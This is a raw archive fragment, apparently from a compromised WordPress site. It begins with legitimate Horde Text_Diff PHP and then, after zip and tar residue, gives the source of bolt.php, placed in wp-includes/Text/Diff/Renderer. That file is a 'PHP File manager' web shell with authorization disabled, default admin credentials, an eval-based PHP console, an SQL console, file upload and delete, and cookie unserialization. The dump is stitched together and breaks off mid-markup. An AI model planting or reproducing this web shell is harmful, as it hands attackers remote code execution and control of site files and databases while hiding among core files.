                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
